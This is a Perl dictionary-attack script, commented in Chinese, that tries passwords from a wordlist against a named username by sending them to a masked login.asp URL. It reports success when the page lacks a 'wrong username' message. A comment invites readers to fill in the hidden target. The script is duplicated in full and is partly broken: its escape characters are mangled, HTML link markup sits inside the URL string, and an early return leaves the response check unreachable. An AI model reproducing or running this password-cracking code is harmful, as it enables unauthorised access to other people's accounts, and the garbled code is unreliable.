use Curl::easy;
$ok=1;
$username="shitusername";
#欲解用户名
open(DICT,"password.txt");
#字典档
while ($passwdtemp=<DICT> and $ok!=0) {
# if ($passwdtemp=<DICT>) {
# die "no password remain";
# $passwdtemp=<DICT>;
chomp($passwdtemp);
print "cracking password is $passwdtemp/n";
if (classme_crack_check($username,$passwdtemp)==0) {
print "finish/npassword is /n$passwdtemp";
$ok=0;
}
else {
$ok=1;
#$ok++;
#print $ok . "/n";
#}
}
}
if ($ok!=0) {
die "no password left!";
} else {
print "/nCongruatulations/n";
}
sub classme_crack_check{
my ($username,$password)=@_;
my $url = "<a href='http://www.xxxxxxxxxx.com/new/login.asp?username=$username&password=$password&ComeType=default' target=_blank>http://www.xxxxxxxxxx.com/new/login.asp?username=$username&password=$password&ComeType=default</a>";
#这个地方暂时隐去,看上面一行应该知道该怎么填
my $curl = Curl::easy->new();
$curl->setopt(CURLOPT_URL, $url);
#my $retcode=$curl->perform();
print $retcode;
sub body_callback {
my ($chunk,$context)=@_;
push @{$context}, $chunk;
return length($chunk); # OK
}
$curl->setopt(CURLOPT_WRITEFUNCTION, /&body_callback);
my @body;
$curl->setopt(CURLOPT_FILE, /@body);
my $retcode=$curl->perform();
if ($retcode!=0) {
return 1;
} else {
return 0;
}
#print $body;
# print join("",@body);
# print "/n/n";
$temp=$body[1];
($e,@body)=@body;
# print "begin/n";
#print $e;
#$e中存放curl的返回值
print "/n/n/n";
if ($e =~ /错误的用户名/ ) {
return 1;
} else {
return 0;
}
}
$ok=1;
$username="shitusername";
#欲解用户名
open(DICT,"password.txt");
#字典档
while ($passwdtemp=<DICT> and $ok!=0) {
# if ($passwdtemp=<DICT>) {
# die "no password remain";
# $passwdtemp=<DICT>;
chomp($passwdtemp);
print "cracking password is $passwdtemp/n";
if (classme_crack_check($username,$passwdtemp)==0) {
print "finish/npassword is /n$passwdtemp";
$ok=0;
}
else {
$ok=1;
#$ok++;
#print $ok . "/n";
#}
}
}
if ($ok!=0) {
die "no password left!";
} else {
print "/nCongruatulations/n";
}
sub classme_crack_check{
my ($username,$password)=@_;
my $url = "<a href='http://www.xxxxxxxxxx.com/new/login.asp?username=$username&password=$password&ComeType=default' target=_blank>http://www.xxxxxxxxxx.com/new/login.asp?username=$username&password=$password&ComeType=default</a>";
#这个地方暂时隐去,看上面一行应该知道该怎么填
my $curl = Curl::easy->new();
$curl->setopt(CURLOPT_URL, $url);
#my $retcode=$curl->perform();
print $retcode;
sub body_callback {
my ($chunk,$context)=@_;
push @{$context}, $chunk;
return length($chunk); # OK
}
$curl->setopt(CURLOPT_WRITEFUNCTION, /&body_callback);
my @body;
$curl->setopt(CURLOPT_FILE, /@body);
my $retcode=$curl->perform();
if ($retcode!=0) {
return 1;
} else {
return 0;
}
#print $body;
# print join("",@body);
# print "/n/n";
$temp=$body[1];
($e,@body)=@body;
# print "begin/n";
#print $e;
#$e中存放curl的返回值
print "/n/n/n";
if ($e =~ /错误的用户名/ ) {
return 1;
} else {
return 0;
}
}